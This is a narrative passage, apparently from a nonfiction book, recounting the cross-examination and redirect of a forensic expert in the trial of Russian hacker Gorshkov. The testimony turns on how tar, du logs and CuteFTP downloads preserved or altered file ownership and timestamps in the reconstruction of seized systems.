Mr. Apgood knew that the “tar” command generally preserved the attributes of files, the metadata that identified the location, the user account that created the file (the “ownership”), as well as the dates and times that the file was created, modified, and last accessed. If, however, the tar command were executed from the root directory, indicated by a forward slash /, a tar file would be created on that directory. Because the root directory contains all of the other directories, sub-directories and files on the system, the tar utility does not record the /. Instead, it ignores it or strips it out of the newly created file. Consequently, when such a tar file is “untarred” or extracted without special options specified, it takes on the “ownership” of the directory into which it has been copied. In other words, the file attributes will be changed.

The point that Mr. Apgood was attempting to make with this line of questioning was rather abstruse and almost certainly was lost on the jury. Because the log files showing the tar commands had not been downloaded from the Russian computers, Special Agent Schuler and Eliot Lim theoretically could have tarred the hacking tools from the root (/) directory and copied them into one of Gorshkov’s user account directories. So, too, could have Ivanov. Had they done so, the files would have had file attributes that showed kvakin as owner.

During his testimony, Eliot Lim testified that while he was assisting Mike Schuler in downloading data from the Russian computers, he created a “du” log to determine disk usage on the systems. He did this to ensure that sufficient disk space was available on those machines to enable him to create tar files there without interfering with any ongoing use of those computers. Those “du” logs were used by Phil as aids in reconstructing the file systems as they actually existed on the Russian machines. Because the “du” command produced listings of the files and directories on the computers where the command was run, including their sizes, he was able to compare the file sizes reflected on that log to the sizes of the files that he moved to the reconstructed system. This meticulous process gave him assurance that the system as reconstructed accurately reflected the original file structures on the Russian machines.

Directing Phil’s attention to the “du” log that had been created by Eliot Lim, Rob Apgood asked him to affirm that the log showed that two tar files had already been created on home/kvakin when the logging began. Therefore, Mr. Apgood suggested, “this du output log cannot be relied on as an accurate representation of the directory structure of freebsd prior to any searching and tarring of files on that computer, can it?”

This suggestion was true as far as it went, because the two tar files referred to had been created by Eliot Lim during his downloading activities. Phil simply acknowledged this truism and began to explain that he had also relied upon other logs to ensure that his reconstruction had been accurate, such as the FTP activity. Mr. Apgood did not wish to hear this explanation, however, and quickly moved on. While Mr. Apgood had made a minor, if somewhat misleading point, the prosecution team was not concerned. Recall that it was the extraction, not the creation, of tar files that had been created from the root (/) directory that would copy those files with new ownership attributes.

Continuing along the same lines, Mr. Apgood handed Phil a defense exhibit (A-2), which he described as a “listing of tar files you created of (sic) your reconstruction of the freebsd computer?” and asked him if it was accurate.

Since it was not his document, Phil replied that he would have to verify its accuracy by turning on the computer that he had used in the reconstruction. Alternatively, Phil indicated that if Mr. Apgood had a copy of his CD, that he could extract the files and compare the information. Judge Coughenour granted permission for him to do so, and everyone in the courtroom waited while Phil completed that process. When he had concluded his work several minutes later, Phil pointed out that the group IDs (or ownership) on the defense exhibit did not match those reflected on his CD.

I am not sure what Mr. Apgood was attempting to do with his exhibit, but not only did it not elicit the response that he was looking for, it created an impression that the defense analysis was sloppy. He simply moved on to make another point, not mentioning his Exhibit A-2 again. Now working from Phil’s own work, he asked him to affirm that a number of files in the /home/kvakin/kvakin_nt directory had virtually the same creation date and time. Did this not indicate, he asked Phil, that those files had been copied to that directory from another account or system by means of either a tar or copy command?

Phil agreed with that observation, as he had already pointed that out during his direct testimony. He did clarify, however, that a copy command would have to have been used, since a tar command would have preserved the date and time stamps from the original location of the files. Clearly, in any event, many of the hacker tools on Gorshkov’s accounts had been created somewhere else and then copied there for his use.

Mr. Apgood continued his attempts to call into question the accuracy of Phil’s reconstruction of the file structure from the Russian machines by showing him other “du” logs created by Eliot during his tarring and downloading activities. As to each of the logs, he would ask Phil if he “determined” the structure of a particular directory from information reflected in that particular log file. Each time Phil would patiently explain that he had used that particular log file, among others. In fact, the reconstruction had been an exacting and complex process, and Phil had used numerous logs and files that offered clues. Had Phil been led into identifying a single log as the source for his reconstruction, Mr. Apgood was surely prepared to point out gaps and inconclusive entries in that file.

Cross-examination of a careful and eminently qualified expert such as Phil is difficult, and it can be frustrating. This is especially so if the lawyer’s theories do not square with those of the witness. For example, Mr. Apgood questioned Phil on his reconstruction of Ivanov’s account (subbsta) on tech.net.ru thus:

Question: “But you determined that the structure, the directory structure, of /home/subbsta—you determined that information from what was contained in alexey.log. Isn’t that correct?”

Answer: “As well as any other information that could be gleaned from any of the log files and interviews with Agent Schuler.”

Question: “Is that a ‘Yes’?”

Answer: “That file amongst others.”

Question: “Specifically what other files, sir?”

Answer: “The other log files.”

Question: “Which other log files, sir?”

Answer: “If you’ll give me the time to search the CDs, I’ll tell you which. Anything that contained any information related to a log-in on those systems. So if I saw a prompt that indicated tech.net.ru, I would look through the file. If I saw a prompt using freebsd.tech.net.ru, I would use the file.”

Question: “Well, I’m talking specifically about the time that you created your reconstruction. From what log did you get the information?”

Answer: “I would derive it from all of them.”

Question: “But from the Alexey.log. Correct?”

Answer: “Amongst others.”

Asking permission to approach the witness, Mr. Apgood asked Phil to look at defense exhibit A-3, presumably Mr. Apgood’s listing of Phil’s reconstruction of the tech.net.ru system. When Phil indicated, in response to Apgood’s question, that the exhibit reflected his reconstruction of that system, Floyd asked to voir dire. He then asked Phil if he had verified that the information about ownership, permissions, and date stamps in the defense exhibit accurately reflected those in Phil’s original work. When Phil said that he would have to go back to the original CDs in order to do so, Floyd addressed the Judge:

“I’d suggest Mr. Attfield do that. We had one exhibit. It clearly was not authentic. I think it’s important, if it’s going to be admitted, that it be so.”

Floyd was referring to the proposed Defense Exhibit A-2, which had been shown to be an inaccurate representation of work that Phil had actually done. You may recall that A-2 had contained incorrect group and user ID numbers, a critical discrepancy in a case where the question of who performed certain functions on a remote computer was central. This is not to suggest that Mr. Apgood was suspected of duplicity. The assumption was that the changes had been made automatically by the Windows-based computer that he used to generate the document. File attributes, including ownership, are changed by default when a file created on a Linux machine is copied to a Windows-based computer. For example, Windows sets the creation date of a file to the date that it is copied to a new computer. Also, the date and time assigned to a file is based upon the clock and calendar settings of the computer to which a file is being copied. On today’s machines, most users have the clock and calendar set automatically from the Internet. These settings are quite accurate. In the years prior to 2001, however, clock and calendar settings were, as a rule, set by the user and could be wildly off.

For all of these reasons, experienced computer techies knew that Windows file attributes had to be verified independently, based upon information in addition to that reflected in the metadata. There was a danger, however, that inexperienced users, such as some of the jurors, could mistakenly assume that the attributes listed for Windows-based files were correct. Floyd and Steve wanted to make sure that the issue was clear. Therefore, Floyd asked that the file attributes be verified by Phil before the defense exhibit was seen by the jury. Thus prompted, Phil verified that the time stamps on the proposed defense exhibit did not match the originals. Instead, they seem to reflect the Seattle time zone rather than the Russian.

Using Defense Exhibit A-3, Mr. Apgood focused on the small number of files that Mike Schuler had initially downloaded using the Windows-based program CuteFTP, which used a drag-and-drop Windows interface. Phil had already testified during direct that the program did not preserve some file attributes, including ownership and access permissions. Nevertheless, Mr. Apgood pointed out several files that had the permission block listed as “0.” This, he suggested, signified that the owner of the file was root.

As long as the file remained on the Unix- or Linux-based machine where it was created, that was true, Phil explained. The permission block designated 0 denotes root. On the printout before him, however, the 0 designations had been inserted by the Windows machine in Seattle during the download by CuteFTP. “The Windows file system is not capable of retaining the original ownership of the files, nor the permissions,” he repeated. Consequently, the fact that the few files involved bore the designation of 0 was meaningless. The ownership and other file attributes of the vast majority of files on the systems had been properly preserved by Eliot Lim when he used the “tar” command prior to using the FTP command to download them.

Mr. Apgood persisted:

Question (by Mr. Apgood): “Looking at the zero to the left of the slash, is zero typically a user ID number for the root user?”

Answer: “That number, as identified here, has no bearing to the ownership from which the file originated. That is strictly a manifestation of the download process.”

A few minutes later, he tried again. “So if that number (0) were correct, because this is in the tar file and we were looking at this on tech.net.ru, for example, that number would indicate root, wouldn’t it?”

“If the file had been—if the file were sitting on a system and had been created on that system and no changes had been made to the password file during that time, you would be able to ascertain who the originator was,” Phil patiently explained.

Still using Defense Exhibit A-3, Mr. Apgood had Phil verify that anyone with root access could have created directories in /home/kvakin. Then he pointed out that a number of directories in the /home/kvakin directory bore dates ranging from March to May of 2001. Since Gorshkov had been residing in the Federal Detention Center in SeaTac, Washington, during that time period, it was obvious that the dates associated with the directories had been inserted by a process over which he had no control. Given the sequence of the questions, he seemed to be implying that someone other than Gorshkov had created the directories and their contents on his accounts long after the fact. Since they were discussing Phil’s reconstruction (or, rather, Mr. Apgood’s reconstruction of the reconstruction), Apgood asked Phil how he determined the dates to be assigned to the directories.

“I did not,” Phil explained. “Those are manifestations of the recreation only.” In other words, the computer on which Phil had assembled the reconstruction assigned dates to the directories when the directories were copied on his (Phil’s) computer. Again, the directory dates had no evidentiary meaning.

Near the end of cross-examination, a series of questions were asked of Phil that caused consternation among the members of the prosecution team. The inquiries began with reference to Government’s Exhibit 120, (see Figure 12.7), a directory listing for the mails directory on tech.net.ru/home/kvakin.

Figure 12.7. Government’s Exhibit 120, the mails directory from Gorshkov’s /home/kvakin user account.

Directing Phil’s attention to this Exhibit, Mr. Apgood said: “We see that root was the owner of this subdirectory and its files. Isn’t that correct?”

Since this was one of the files downloaded by Mike Schuler during his initial, solo efforts, CuteFTP had not preserved the ownership attributes from the Russian computer. Knowing this, Phil simply repeated his statement that the assignment of “root” as the “owner” of that directory was “a manifestation of the recreation.” This terse explanation, while accurate, was surely lost on the jury of laymen, who required a fuller explanation, namely, that those ownership attributes were inserted by the Windows operating system on Phil’s own machine during his reconstruction of the system. By this point, Phil had been on the witness stand for nearly two days and he was tired. In fact, “tired” was an understatement. By now, his neck and shoulders ached and his brain was foggy. Mr. Apgood would soon take advantage of the opening left by Phil’s answer.

Phil, in his near-exhausted state, and intensely focused on the small directory about which he had been asked, lost track of those admonitions and let himself agree to some of counsel’s statements, even though those statements contained omissions that invited a misinterpretation.

“And are you now telling us that this does not accurately reflect what was on the tech.net.ru computer? In other words, that root did not own it on tech.net.ru?” Mr. Apgood interrogated, rolling his eyes dramatically and looking at the jury.

“I cannot state whether or not root owned it on tech.net.ru,” Phil admitted.

Mr. Apgood persisted: “But this exhibit which you prepared shows that it did.”

“I cannot verify that, indeed, root did or did not own it on tech.net.ru because I don’t have that listing,” Phil admitted.

Then Apgood pounced: “So am I to understand your testimony that any of the files that were downloaded from the computers in Russia and ultimately put into your reconstruction, we don’t know if, indeed, the owners or the user ID—the owner of the file, the creator of the file, the group of the file—are accurate?”

“No,” Phil acquiesced. “You can’t say that for any of the files. Because some of the files, that information was preserved. It depended upon the manner in which they were downloaded or in which they were tarred and downloaded.” In other words, whether the downloading process preserved the file attributes, including “ownership,” depended upon the process that was used to download the files.

“So for anything in the /home/kvakin directory downloaded from tech.net.ru, we don’t know who actually owned these files. Do we?” was the next question.

“No, we do not,” Phil agreed. Phil had not picked up on the fact that Apgood had greatly expanded the scope of his questions from a single sub-directory named mails to the entire kvakin home directory. To emphasize his point, Mr. Apgood then displayed one other small directory called msadc found on /home/kvakin in order to point out that it, too, showed “root” as owner.

After clearing up the fact that the SuperScan program had been obtained from the laptop that Ivanov had brought into the undercover site, and not from tech.net.ru, Floyd turned to the question of file “ownership.” In the Unix world, he asked Phil, what does the file attribute “ownership” mean?

“The ‘ownership’ of a file is represented by a number. And that number is called its UID. That UID is mapped through the password file of the system to an account. And that number will appear in the password file,” Phil explained.

Floyd wished to reiterate that “ownership” was a term of art used in the Unix/Linux world. “So the term ‘ownership,’ he asked, “is—that has a technical meaning in Unix?”

When Phil affirmed that, yes, it does have a technical meaning, Floyd sought to make it crystal clear. “When you were asked questions, then, about ownership by Mr. Apgood, is that the meaning that you understood him to be asking about?” Phil affirmed that he understood Mr. Apgood to be asking if “the IUDs are consistent.”

Next, they took up the line of questions that had been designed to raise doubts about whether Phil’s reconstruction accurately mirrored the file systems as they existed on the Russian machines. “Yesterday in testifying about files in the user kvakin’s directory, were you able to determine that those were located in the kvakin account?” Floyd asked.

“In the space controlled by kvakin, yes,” Phil affirmed. “When you log into the machine, you—by default, you are working in an area where you have—essentially, you’re staring at a piece of hard disk. And that home directory is established in the password entry—the password file’s entry for that account. And that area is where you’re free to create files. You essentially—that account owns that space and has the ability to create and delete files in that space.”

In response to Floyd’s questions, Phil then reiterated that he had been able to confirm that all of the files that he had identified as being in the /home/kvakin directories on the two machines had, in fact, been located in those accounts. He had done so, he said, by using many sources of information, including interviews with Special Agent Schuler, various log files, the password files from both machines, and the “ownership” attributes of the files that had been preserved within the tar files created by Eliot Lim. “A tar file,” he explained once again, “retains the ownership attributes, as well as the username on the machine upon which the file was created at the time the file was created.”

Next, Floyd had Phil confirm that all of the data that had come from the computer named freebsd.tech.net.ru had been properly tarred by Eliot Lim prior to being downloaded to the FBI computer in Seattle. Consequently, the attributes of all of the files on that computer had been preserved during the download. The only exception was the fact that as to some types of directories (as opposed to files), file attributes are not preserved. This is inconsequential to the reconstruction, as the files contained in the directories all have their attributes intact.

Next, Floyd took up the questions during cross-examination about username kvakin_f that Phil used in his reconstruction of the freebsd system, and which Mr. Apgood suggested proved that the reconstruction was not an “accurate representations of how the ownership of those files would have appeared on the freebsd computer.”

Phil explained that he had reconstructed the file systems of both tech.net.ru and freebsd.tech.net.ru on the same computer. In order to keep it clear which files came from which system, on his computer he simply renamed the user kvakin from freebsd as kvakin_f so that no one would get confused. He was positive that the files attributed to user kvakin_f on his reconstruction were, in fact, owned by user kvakin on the machine in Russia and located in his space. Phil’s steps to ensure accuracy had been misconstrued by Mr. Apgood as errors that undermined his work.

Nearing the end of his grueling testimony, Phil was asked to explain, once again, the Windows program CuteFTP that Mike Schuler had initially used to download some files from tech.net.ru. He explained that, if the program is used to copy a directory and all of the files from a Linux system to a Windows system, Windows cannot preserve the original creation date of the directory. The creation date of the directory on the computer to which the data is downloaded will be the date that CuteFTP copied it. Likewise, CuteFTP cannot preserve the UID (user ID) or the group ID (GID), but will enter them as 0. The times and dates of the files contained within the directory, however, will be preserved. Each of the handfuls of Exhibits that Mr. Apgood had represented as being “owned” by root, had, in fact, been downloaded by Mike Schuler using CuteFTP. Consequently, the actual UIDs of the files were not reflected. The designation of 0 on these few files was meaningless.

Finally, Phil reiterated that he had determined that all of the files he had assigned to the /home/kvakin accounts on both machines had, in fact, been located in those accounts. Mr. Apgood asked a few questions on re-cross, mainly re-plowing old ground. Phil was done. He felt like he had run a marathon or, perhaps more aptly, a gauntlet. He had done a superb job. He was exhausted.